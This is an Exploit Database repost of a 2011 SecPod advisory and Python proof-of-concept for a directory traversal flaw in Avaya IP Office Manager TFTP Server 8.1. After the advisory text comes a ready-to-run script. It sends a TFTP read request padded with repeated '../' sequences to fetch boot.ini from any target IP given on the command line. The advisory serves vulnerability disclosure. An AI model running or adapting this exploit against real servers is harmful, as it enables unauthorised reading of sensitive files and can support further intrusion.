Avaya IP Office Manager TFTP Server 8.1 – Directory Traversal

• Exploit Database
• 14 阅读

• 作者： SecPod Research
  日期： 2011-07-08
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/17507/

• #!/usr/bin/python
  
  ###############################################################################
  #
  #Title: Avaya IP Office Manager TFTP Server Directory Traversal Vulnerability
  #Author : Veerendra G.G from SecPod Technologies (www.secpod.com)
  #Vendor : http://www.avaya.com/usa/product/ip-office
  #Advisory : http://www.avaya.com/usa/product/ip-office
  # http://secpod.org/SECPOD_Avaya-IP-Manager-TFTP-Dir-Trav.pcap
  # http://secpod.org/SECPOD_Exploit-Avaya-IP-Manager-Dir-Trav.py
  # http://secpod.org/advisories/SECPOD_Avaya_IP_Manager_TFTP_Dir_Trav.txt
  #Version: Avaya IP Office Manager TFTP Server Version 8.1
  #Date : 08/07/2011
  #
  ################################################################################
  #
  #SecPod ID: 1017					25/05/2011 Issue Discovered
  #31/05/2011 Vendor Notified
  #No Response from the Vendor
  #		08/07/2011 Advisory Released
  #					 
  #
  #Class: Information Disclosure			Severity: Medium
  #
  #
  #Overview:
  #---------
  #Avaya IP Office Manager TFTP Server Version 8.1 is prone to a Directory
  #Traversal vulnerability.
  #
  #
  #Technical Description:
  #----------------------
  #The vulnerability is caused due to improper validation to Read Request
  #Parameter containing '../' sequences, which allows attackers to read
  #arbitrary files via directory traversal attacks.
  #
  #
  #Impact:
  #--------
  #Successful exploitation could allow an attacker to to obtain sensitive
  #information, which can lead to launching further attacks.
  #
  #
  #Affected Software:
  #------------------
  #Avaya IP Office Manager TFTP Server Version 8.1
  #
  #
  #Tested on:
  #-----------
  #Avaya IP Office Manager TFTP Server Version 8.1 on Windows XP SP3.
  #
  #
  #References:
  #-----------
  #http://secpod.org/blog/?p=225
  #http://www.avaya.com/usa/product/ip-office
  #http://secpod.org/SECPOD_Avaya-IP-Manager-TFTP-Dir-Trav.pcap
  #http://secpod.org/SECPOD_Exploit-Avaya-IP-Manager-Dir-Trav.py
  #http://secpod.org/advisories/SECPOD_Avaya_IP_Manager_TFTP_Dir_Trav.txt
  #
  #
  #Proof of Concept:
  #----------------
  #http://secpod.org/SECPOD_Exploit-Avaya-IP-Manager-Dir-Trav.py
  #http://secpod.org/SECPOD_Avaya-IP-Manager-TFTP-Dir-Trav.pcap
  #
  #
  #Solution:
  #----------
  #Not available
  #
  #
  #Risk Factor:
  #-------------
  #CVSS Score Report: 
  #ACCESS_VECTOR= NETWORK 
  #ACCESS_COMPLEXITY= LOW 
  #AUTHENTICATION = NOT_REQUIRED 
  #CONFIDENTIALITY_IMPACT = PARTIAL 
  #INTEGRITY_IMPACT = NONE 
  #AVAILABILITY_IMPACT= NONE 
  #EXPLOITABILITY = PROOF_OF_CONCEPT 
  #REMEDIATION_LEVEL= UNAVAILABLE 
  #REPORT_CONFIDENCE= CONFIRMED 
  #CVSS Base Score= 5.0 (AV:N/AC:L/Au:NR/C:P/I:N/A:N) 
  #CVSS Temporal Score= 4.5 
  #Risk factor= Medium 
  #
  #
  #Credits:
  #--------
  #Veerendra G.G of SecPod Technologies has been credited with the discovery of
  #this vulnerability.
  #
  #
  #SECPOD_Exploit-Avaya-IP-Manager-Dir-Trav.py:
  #
  
  ##############################################################################
  # Exploit : http://secpod.com/blog/?p=225
  # http://secpod.org/Exploit-Avaya-IP-Manager-Dir-Trav.py
  # http://secpod.org/advisories/SecPod_Avaya_IP_Manager_TFTP_Dir_Trav.txt
  # Author: Veerendra G.G from SecPod Technologies (www.secpod.com)
  #
  # Get File content using Directory Traversal Attack
  # Tested against Avaya Office IP Manager 8.1
  ##############################################################################
  
  def sendPacket(HOST, PORT, data):
  '''
  Sends UDP Data to a Particular Host on a Specified Port
  with a Given Data and Return the Response
  '''
  udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  udp_sock.sendto(data, (HOST, PORT))
  data = udp_sock.recv(1024)
  udp_sock.close()
  return data
  
  if __name__ == "__main__":
  
  if len(sys.argv) < 2:
  print "\tUsage: python exploit.py target_ip"
  print "\tExample : python exploit.py 127.0.0.1"
  print "\tExiting..."
  sys.exit(0)
  
  HOST = sys.argv[1] 			## The Server IP
  PORT = 69			## Default TFTP port
  
  data = "\x00\x01"			## TFTP Read Request
  data += "../" * 10 + "boot.ini" + "\x00"	## Read boot.ini file using directory traversal
  data += "octet\x00"				## TFTP Type
  
  rec_data = sendPacket(HOST, PORT, data)
  print "Data Found on the target : %s " %(HOST)
  print rec_data.strip()